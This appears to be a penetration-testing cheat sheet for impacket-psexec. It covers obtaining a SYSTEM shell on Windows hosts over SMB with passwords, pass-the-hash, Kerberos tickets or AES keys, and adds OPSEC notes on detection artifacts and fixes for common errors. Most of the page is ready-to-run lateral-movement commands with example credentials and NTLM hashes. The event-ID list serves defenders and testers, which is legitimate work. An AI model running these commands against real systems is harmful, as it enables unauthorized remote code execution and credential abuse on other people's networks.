> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Impacket PSExec

> impacket-psexec cheat sheet: remote command execution via SMB service creation with password, hash, and Kerberos authentication.

## Overview

`impacket-psexec` uploads an executable to the `ADMIN$` share, creates a Windows service to run it, and returns a SYSTEM-level interactive shell over SMB (port 445). It is the noisiest of the Impacket exec tools but provides full interactive access.

***

## Authentication Methods

| Method    | Flag          | Example                       |
| --------- | ------------- | ----------------------------- |
| Password  | (default)     | `domain/user:password@target` |
| NTLM hash | `-hashes`     | `-hashes :NT_HASH`            |
| Kerberos  | `-k -no-pass` | `-k -no-pass -dc-ip DC_IP`    |
| AES key   | `-aesKey`     | `-aesKey AES256_KEY`          |

***

## Basic Usage — Interactive Shell

```bash theme={"dark"}
impacket-psexec domain.local/administrator:Password123@10.10.10.5
```

Local admin (no domain):

```bash theme={"dark"}
impacket-psexec ./administrator:Password123@10.10.10.5
```

***

## Execute Specific Command

```bash theme={"dark"}
impacket-psexec domain.local/administrator:Password123@10.10.10.5 "whoami"
```

Run a PowerShell command:

```bash theme={"dark"}
impacket-psexec domain.local/administrator:Password123@10.10.10.5 "powershell -c Get-Process"
```

***

## How It Works

1. Authenticates to the target via SMB (port 445).
2. Connects to the `ADMIN$` share (`C:\Windows`).
3. Uploads a service binary (`RemComSvc`) to `ADMIN$`.
4. Creates a Windows service pointing to the uploaded binary via the Service Control Manager (SCM).
5. Starts the service, which spawns `cmd.exe` as SYSTEM.
6. Communicates I/O through named pipes over SMB.
7. On exit, stops the service, deletes it, and removes the uploaded binary.

***

## OPSEC Considerations

| Indicator        | Detail                                                             |
| ---------------- | ------------------------------------------------------------------ |
| Service creation | Creates `RemComSvc` service (event 7045)                           |
| Binary on disk   | Writes executable to `C:\Windows`                                  |
| Event logs       | Service install in System log, logon in Security log (4624 type 3) |
| Detection        | Easily flagged by EDR/AV — binary is well-signatured               |
| Noise level      | **High** — most detectable of the three exec tools                 |

Artifacts to expect:

* System Event ID **7045** (new service installed)
* Security Event ID **4624** (network logon type 3)
* Security Event ID **4672** (special privileges assigned)
* File creation under `C:\Windows\`

***

## Pass-the-Hash

```bash theme={"dark"}
impacket-psexec -hashes :64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5
```

With both LM and NT hash:

```bash theme={"dark"}
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5
```

***

## Kerberos Authentication

Requires a valid ccache file or keytab.

```bash theme={"dark"}
export KRB5CCNAME=/tmp/administrator.ccache
impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local
```

With explicit DC IP:

```bash theme={"dark"}
impacket-psexec -k -no-pass -dc-ip 10.10.10.1 domain.local/administrator@dc01.domain.local -target-ip 10.10.10.5
```

Using AES key directly:

```bash theme={"dark"}
impacket-psexec -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc domain.local/administrator@dc01.domain.local -k -no-pass
```

***

## Target Specific Port

```bash theme={"dark"}
impacket-psexec -port 4455 domain.local/administrator:Password123@10.10.10.5
```

***

## Common Errors and Fixes

| Error                                | Cause                                    | Fix                                 |
| ------------------------------------ | ---------------------------------------- | ----------------------------------- |
| `STATUS_ACCESS_DENIED`               | User lacks local admin or ADMIN\$ access | Verify local admin membership       |
| `STATUS_SHARING_VIOLATION`           | Previous RemComSvc binary not cleaned up | Manually delete from `C:\Windows`   |
| `ERROR_SERVICE_EXISTS`               | Stale service from previous run          | `sc.exe delete RemComSvc` on target |
| `Connection refused`                 | SMB port 445 blocked                     | Check firewall, try `-port`         |
| `KDC_ERR_PREAUTH_FAILED`             | Wrong password or expired ticket         | Verify creds, regenerate ccache     |
| `SessionError: STATUS_LOGON_FAILURE` | Incorrect credentials                    | Double-check password/hash          |
| Hangs after connection               | AV/EDR killed the uploaded binary        | Try wmiexec or smbexec instead      |

***

## Quick Reference

```bash theme={"dark"}
# Interactive shell with password
impacket-psexec domain.local/user:pass@TARGET

# Interactive shell with hash (pass-the-hash)
impacket-psexec -hashes :NTHASH domain.local/user@TARGET

# Interactive shell with Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-psexec -k -no-pass domain.local/user@TARGET_FQDN

# Run single command
impacket-psexec domain.local/user:pass@TARGET "ipconfig /all"

# Custom port
impacket-psexec -port 4455 domain.local/user:pass@TARGET

# With explicit DC for Kerberos
impacket-psexec -k -no-pass -dc-ip DC_IP domain.local/user@TARGET_FQDN
```